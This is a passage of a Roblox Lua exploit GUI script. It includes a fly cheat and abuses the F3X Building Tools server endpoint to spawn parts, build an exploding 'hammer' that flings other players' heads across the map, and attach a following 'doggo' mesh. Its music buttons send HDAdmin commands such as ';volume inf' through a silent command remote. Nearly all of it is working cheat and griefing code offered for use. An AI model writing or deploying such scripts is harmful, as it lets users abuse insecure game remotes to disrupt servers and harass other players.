
			IYMouse = Players.LocalPlayer:GetMouse()
			function getRoot(char)
				local rootPart = char:FindFirstChild('HumanoidRootPart') or char:FindFirstChild('UpperTorso') or char:FindFirstChild('UpperUpperTorso')
				return rootPart
			end
			function sFLY(vfly)
				repeat wait() until Players.LocalPlayer and Players.LocalPlayer.Character and getRoot(Players.LocalPlayer.Character) and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
				repeat wait() until IYMouse
				if flyKeyDown or flyKeyUp then flyKeyDown:Disconnect() flyKeyUp:Disconnect() end

				local T = getRoot(Players.LocalPlayer.Character)
				local CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
				local lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
				local SPEED = 0

				local function FLY()
					FLYING = true
					local BG = Instance.new('BodyGyro')
					local BV = Instance.new('BodyVelocity')
					BG.P = 9e4
					BG.Parent = T
					BV.Parent = T
					BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
					BG.cframe = T.CFrame
					BV.velocity = Vector3.new(0, 0, 0)
					BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
					task.spawn(function()
						repeat wait()
							if not vfly and Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then
								Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true
							end
							if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0 then
								SPEED = 50
							elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0) and SPEED ~= 0 then
								SPEED = 0
							end
							if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 or (CONTROL.Q + CONTROL.E) ~= 0 then
								BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
								lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
							elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and (CONTROL.Q + CONTROL.E) == 0 and SPEED ~= 0 then
								BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
							else
								BV.velocity = Vector3.new(0, 0, 0)
							end
							BG.cframe = workspace.CurrentCamera.CoordinateFrame
						until not FLYING
						CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
						lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
						SPEED = 0
						BG:Destroy()
						BV:Destroy()
						if Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then
							Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
						end
					end)
				end
				flyKeyDown = IYMouse.KeyDown:Connect(function(KEY)
					if KEY:lower() == 'w' then
						CONTROL.F = (vfly and vehicleflyspeed or iyflyspeed)
					elseif KEY:lower() == 's' then
						CONTROL.B = - (vfly and vehicleflyspeed or iyflyspeed)
					elseif KEY:lower() == 'a' then
						CONTROL.L = - (vfly and vehicleflyspeed or iyflyspeed)
					elseif KEY:lower() == 'd' then 
						CONTROL.R = (vfly and vehicleflyspeed or iyflyspeed)
					elseif QEfly and KEY:lower() == 'e' then
						CONTROL.Q = (vfly and vehicleflyspeed or iyflyspeed)*2
					elseif QEfly and KEY:lower() == 'q' then
						CONTROL.E = -(vfly and vehicleflyspeed or iyflyspeed)*2
					end
					pcall(function() workspace.CurrentCamera.CameraType = Enum.CameraType.Track end)
				end)
				flyKeyUp = IYMouse.KeyUp:Connect(function(KEY)
					if KEY:lower() == 'w' then
						CONTROL.F = 0
					elseif KEY:lower() == 's' then
						CONTROL.B = 0
					elseif KEY:lower() == 'a' then
						CONTROL.L = 0
					elseif KEY:lower() == 'd' then
						CONTROL.R = 0
					elseif KEY:lower() == 'e' then
						CONTROL.Q = 0
					elseif KEY:lower() == 'q' then
						CONTROL.E = 0
					end
				end)
				FLY()
			end
			sFLY()
		end

		local function dodynr15()
			local Players = game:GetService("Players")
			local LocalPlayer = Players.LocalPlayer
			local char = LocalPlayer.Character
			local Event = LocalPlayer.Backpack:FindFirstChild("Building Tools").SyncAPI.ServerEndpoint
			local UIS = game:GetService("UserInputService")

			local function CreatePart(position,parent)
				Event:InvokeServer("CreatePart", "Normal", position, parent)
			end

			--workspace.Part
			local function CreateMesh(part,meshid)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["MeshType"] = Enum.MeshType.FileMesh,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = meshid
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function CanCollide(part,cancollide)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = cancollide
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Anchor(part,anchor)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = anchor
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Rotate(part,degreex,degreey,degreez,anglesx,anglesy,anglesz)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = CFrame.new(degreex, degreey, degreez) * CFrame.Angles(anglesx, anglesy,anglesz)
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeMeshSize(part,vector3size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = vector3size
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeTransparency(part,transparency)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = transparency
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function WeldTo(parttoweld,parttoweldto)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = parttoweld
					},
					[3] = parttoweldto
				}

				Event:InvokeServer(unpack(args))

			end

			local function BreakWeld(weldtobreak)
				local args = {
					[1] = "RemoveWelds",
					[2] = {weldtobreak}
				}

				Event:InvokeServer(unpack(args))

			end

			local function MovePart(part,cframe)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cframe
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function CreateFire(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire"
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeMeshTexture(part,textureid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = textureid
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeColor(part,unioncoloringenabled,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Color"] = color,
							["UnionColoring"] = unioncoloringenabled,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function Rename(part,name)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = name
				}

				Event:InvokeServer(unpack(args))

			end

			local function DestroyObject(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function GetNearestPart()
				print("Getting nearest part...")
				local nearestPart = nil
				local nearestDistance = math.huge
				local localPlayer = game.Players.LocalPlayer
				local localCharacter = localPlayer.Character
				local RightArm = localCharacter:FindFirstChild("RightHand")

				if RightArm then
					print("Found RightArm...")
					for _, part in pairs(workspace:GetDescendants()) do
						if part:IsA("Part") and part.Name == "Part" then
							local distance = (RightArm.Position - part.Position).Magnitude
							if distance < nearestDistance then
								nearestDistance = distance
								nearestPart = part
								print("Found nearest part: " .. tostring(nearestPart))
							end
						end
					end
				end

				return nearestPart
			end


			local function createhammer(player)
				CreatePart(player.Character:FindFirstChild("RightHand").CFrame,workspace);

				local partd = GetNearestPart();
				Rename(partd,"Gigachad")
				local part = workspace:WaitForChild("Gigachad")

				Rotate(part,part.CFrame.X,part.CFrame.Y,part.CFrame.Z,0,0,math.rad(90))

				WeldTo(part,player.Character:FindFirstChild("RightHand"));

				CreateMesh(part,"rbxassetid://10172112489");
				ChangeMeshTexture(part,"rbxassetid://10172112542");
				ChangeMeshSize(part,Vector3.new(0.1,0.1,0.1));

				CanCollide(part,false);
				Anchor(part,false);

				local touched = false;

				local dropstate = false;

				UIS.InputBegan:Connect(function(input)

					if input.KeyCode == Enum.KeyCode.C then
						if dropstate == true then
							--do nothin
						else

							if player.Character:FindFirstChild("RightHand").BTWeld then
								BreakWeld(player.Character:FindFirstChild("RightHand").BTWeld);
							else
								BreakWeld(part.BTWeld);
							end

							MovePart(part,CFrame.new(part.CFrame.X,part.CFrame.Y,part.CFrame.Z+2))

							CanCollide(part,true);
							CreateFire(part);
							dropstate = true;
						end
					end
				end)

				part.Touched:Connect(function(toucher)
					if dropstate == true then
						if not touched then

							touched = true

							task.wait(2) --detonation secs

							CreatePart(part.CFrame,workspace);
							local partd2 = GetNearestPart();
							ChangeTransparency(part,1);
							DestroyObject(part);

							Rename(partd2,"Gigaboom");
							local part2 = workspace:WaitForChild("Gigaboom")

							CreateMesh(part2,"rbxassetid://6862105399");

							CanCollide(part2,false);
							Anchor(part2,true);

							local degreez = 0
							local vectorx = 1;
							local vectory = 1;
							local vectorz = 1;

							local localsound = Instance.new("Sound",workspace);
							localsound.SoundId = "rbxassetid://2814355743"
							localsound.Volume = 10
							localsound:Play();

							local transparency = 0;

							local impact = true;

							while task.wait(0.01) do

								Rotate(part2,part2.CFrame.X,part2.CFrame.Y,part2.CFrame.Z,0,math.rad(degreez),0)

								ChangeMeshSize(part2,Vector3.new(vectorx, vectory, vectorz));
								ChangeTransparency(part2,transparency);

								transparency = transparency + 0.05
								vectory = vectory + 10
								vectorx = vectorx + 1
								vectorz = vectorz + 1
								degreez = degreez + 10

								if impact == true then
									for i,v in game.Players:GetPlayers() do
										local chark = v.Character
										if chark then
											local head = chark:FindFirstChild("Head")
											local hrp = chark:FindFirstChild("HumanoidRootPart")
											if head and hrp then
												local distance = (part2.Position - hrp.Position).Magnitude
												if distance < 30 then
													if v.Name == game.Players.LocalPlayer.Name then
														--whitelisted
													else
														MovePart(head,CFrame.new(math.random(-100,100),math.random(10,100),math.random(-100,100)))
														impact = false
													end
												end
											end
										end
									end
								end

								if transparency > 1.3 then
									local part3 = workspace:WaitForChild("Gigaboom");
									DestroyObject(part3);
									break
								end
							end
						end
					end
				end)
			end

			createhammer(game.Players.LocalPlayer)
		end



		control.MouseButton1Down:Connect(function()
			controlstext.Visible = not controlstext.Visible;
		end)

		Frame.Draggable = true;
		Frame.Active = true;


		xr6.MouseButton1Down:Connect(function()
			doxesterr6()
		end)

		dynr6.MouseButton1Down:Connect(function()
			dodynr6()
		end)

		visr6.MouseButton1Down:Connect(function()
			dovisr6()
		end)

		soldierr6.MouseButton1Down:Connect(function()
			dosoldierr6()
		end)

		freemanr6.MouseButton1Down:Connect(function()
			dofreemanr6()
		end)

		freemanr15.MouseButton1Down:Connect(function()
			dofreemanr15()
		end)

		dynr15.MouseButton1Down:Connect(function()
			dodynr15()
		end)

	end)
end;
task.spawn(C_9a);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_9c()
	local script = G2L["9c"];
	--credits to itskittygd, the goaty goat :3
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local Players = game:GetService("Players")
		local UIS = game:GetService("UserInputService")
		local RunService = game:GetService("RunService")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")

		local player = Players.LocalPlayer
		local gui = Instance.new("ScreenGui", player:WaitForChild("PlayerGui"))

		local introFinished = false

		function NotificationScript(txt)
			local label = Instance.new("TextLabel", gui)
			label.Size = UDim2.new(0.9, 0, 0, 19)
			label.Position = UDim2.new(0.05, 0, 0.1, 0)
			label.BackgroundTransparency = 1
			label.TextColor3 = Color3.fromRGB(255, 255, 255)
			label.TextSize = 11
			label.Font = Enum.Font.Code
			label.TextXAlignment = Enum.TextXAlignment.Left

			task.spawn(function()
				for i = 1, #txt do
					label.Text = string.sub(txt, 1, i)
					task.wait(0.03)
				end
				task.wait(5)
				for i = #txt, 1, -1 do
					label.Text = string.sub(txt, 1, i)
					task.wait(0.02)
				end
				label:Destroy()
				if txt:find("Doggo Army F3X") then
					introFinished = true
				end
			end)

			task.spawn(function()
				while label.Parent do
					for h = 0, 1, 0.01 do
						if label.Parent then
							label.TextColor3 = Color3.fromHSV(h, 1, 1)
							task.wait(0.05)
						end
					end
				end
			end)
		end

		NotificationScript("doggo made by itskittygd remade by Green2Spooky")

		local char = player.Character or player.CharacterAdded:Wait()
		local tool

		for _, v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end

		if not tool then
			for _, v in ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
					break
				end
			end
		end

		local remote = tool and tool:FindFirstChild("SyncAPI") and tool.SyncAPI.ServerEndpoint

		local dogeCreated = false
		local dogePart
		local followOffset = Vector3.new(0, -2, -4)
		local targetChar = char

		function CreateDoge()
			if not remote or dogeCreated then return end
			dogeCreated = true

			local root = char:WaitForChild("HumanoidRootPart")
			local cf = root.CFrame * CFrame.new(followOffset)

			remote:InvokeServer("CreatePart", "Normal", cf, workspace)

			repeat task.wait(0.1)
				for _, v in workspace:GetChildren() do
					if v:IsA("BasePart") and (v.Position - cf.Position).Magnitude < 5 then
						dogePart = v


						remote:InvokeServer("SyncAnchor", {{Part = v, Anchored = true}})
						remote:InvokeServer("SyncCollision", {{Part = v, CanCollide = false}})


						remote:InvokeServer("CreateMeshes", {{Part = v}})
						task.wait(0.2)

						remote:InvokeServer("SyncMesh", {{
							Part = v,
							MeshId = "rbxassetid://257489726",
							Scale = Vector3.new(1,1,1)
						}})


						remote:InvokeServer("SyncTexture", {{
							Part = v,
							Texture = "rbxassetid://4574885376",
							TextureType = "Texture", 
						}})


						RunService.Heartbeat:Connect(function()
							if targetChar and targetChar:FindFirstChild("HumanoidRootPart") then
								local targetPos = targetChar.HumanoidRootPart.CFrame * CFrame.new(followOffset)
								remote:InvokeServer("SyncMove", {{Part = dogePart, CFrame = targetPos}})
							end
						end)

						return
					end
				end
			until false
		end

		UIS.InputBegan:Connect(function(input, gpe)
			if gpe then return end
			if input.KeyCode == Enum.KeyCode.F then
				if not introFinished then return end

				if dogeCreated then
					NotificationScript("js you can create 1, soon i will update the thing")
				else
					CreateDoge()
				end
			end
		end)
	end)
end;
task.spawn(C_9c);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
local function C_9e()
	local script = G2L["9e"];
	local button = script.Parent
	local targetName = "scrept heb" 

	button.MouseButton1Click:Connect(function()

		local container = button.Parent

		for _, obj in ipairs(container:GetChildren()) do
			if obj:IsA("Frame") then

				if obj.Name == targetName then
					obj.Visible = true
				else
					obj.Visible = false
				end

			end
		end

	end)

end;
task.spawn(C_9e);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
local function C_a0()
	local script = G2L["a0"];
	local button = script.Parent
	local targetName = "decal tab" 

	button.MouseButton1Click:Connect(function()

		local container = button.Parent 

		for _, obj in ipairs(container:GetChildren()) do
			if obj:IsA("Frame") then

				if obj.Name == targetName then
					obj.Visible = true
				else
					obj.Visible = false
				end

			end
		end

	end)

end;
task.spawn(C_a0);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.LocalScript
local function C_a2()
	local script = G2L["a2"];
	local UserInputService = game:GetService("UserInputService")
	local RunService = game:GetService("RunService")

	local gui = script.Parent
	local DRAG_SPEED = 8

	local dragging = false
	local startPos
	local lastMousePos
	local lastGoalPos

	local function Lerp(a, b, m)
		return a + (b - a) * m
	end

	local function Update(dt)
		if not startPos then return end

		if not dragging and lastGoalPos then
			gui.Position = UDim2.new(
				startPos.X.Scale,
				Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED),
				startPos.Y.Scale,
				Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED)
			)
			return
		end

		if dragging then
			local delta = lastMousePos - UserInputService:GetMouseLocation()
			local xGoal = startPos.X.Offset - delta.X
			local yGoal = startPos.Y.Offset - delta.Y

			lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal)

			gui.Position = UDim2.new(
				startPos.X.Scale,
				Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED),
				startPos.Y.Scale,
				Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED)
			)
		end
	end

	gui.InputBegan:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseButton1 
			or input.UserInputType == Enum.UserInputType.Touch then

			dragging = true
			startPos = gui.Position
			lastMousePos = UserInputService:GetMouseLocation()

			input.Changed:Connect(function()
				if input.UserInputState == Enum.UserInputState.End then
					dragging = false
				end
			end)
		end
	end)

	RunService.Heartbeat:Connect(Update)

end;
task.spawn(C_a2);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_a4()
	local script = G2L["a4"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_a4);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_a6()
	local script = G2L["a6"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_a6);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_a8()
	local script = G2L["a8"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_a8);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_aa()
	local script = G2L["aa"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_aa);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_ac()
	local script = G2L["ac"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_ac);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_ae()
	local script = G2L["ae"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_ae);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_b0()
	local script = G2L["b0"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_b0);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_b2()
	local script = G2L["b2"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_b2);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_b4()
	local script = G2L["b4"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_b4);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_b6()
	local script = G2L["b6"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_b6);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_b8()
	local script = G2L["b8"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_b8);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_ba()
	local script = G2L["ba"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_ba);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_bc()
	local script = G2L["bc"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_bc);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_be()
	local script = G2L["be"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_be);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_c0()
	local script = G2L["c0"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_c0);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_c2()
	local script = G2L["c2"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_c2);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_c4()
	local script = G2L["c4"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_c4);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_c6()
	local script = G2L["c6"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_c6);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.decal tab.ImageButton.LocalScript
local function C_c8()
	local script = G2L["c8"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local player = game:GetService("Players").LocalPlayer
		local playerGui = player:WaitForChild("PlayerGui")

		local textbox = playerGui:FindFirstChild("nugget", true)

		if textbox and textbox:IsA("TextBox") then

			local imageId = button.Image
			local id = imageId:gsub("%D", "") 

			textbox.Text = id

		end

	end)

end;
task.spawn(C_c8);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
local function C_ca()
	local script = G2L["ca"];
	local button = script.Parent
	local targetName = "music tab" 

	button.MouseButton1Click:Connect(function()

		local container = button.Parent 

		for _, obj in ipairs(container:GetChildren()) do
			if obj:IsA("Frame") then

				if obj.Name == targetName then
					obj.Visible = true
				else
					obj.Visible = false
				end

			end
		end

	end)

end;
task.spawn(C_ca);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_cd()
	local script = G2L["cd"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 16190761193 ;pitch 1.03 ;volume inf")

	end)

end;
task.spawn(C_cd);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_cf()
	local script = G2L["cf"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 128327365740560 ;pitch 0.1 ;volume 10.99")

	end)

end;
task.spawn(C_cf);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_d1()
	local script = G2L["d1"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 81881418977857 ;pitch 0.1 ;volume inf")

	end)

end;
task.spawn(C_d1);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_d3()
	local script = G2L["d3"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 72266196363368 ;pitch 0.27 ;volume 10.99")

	end)

end;
task.spawn(C_d3);
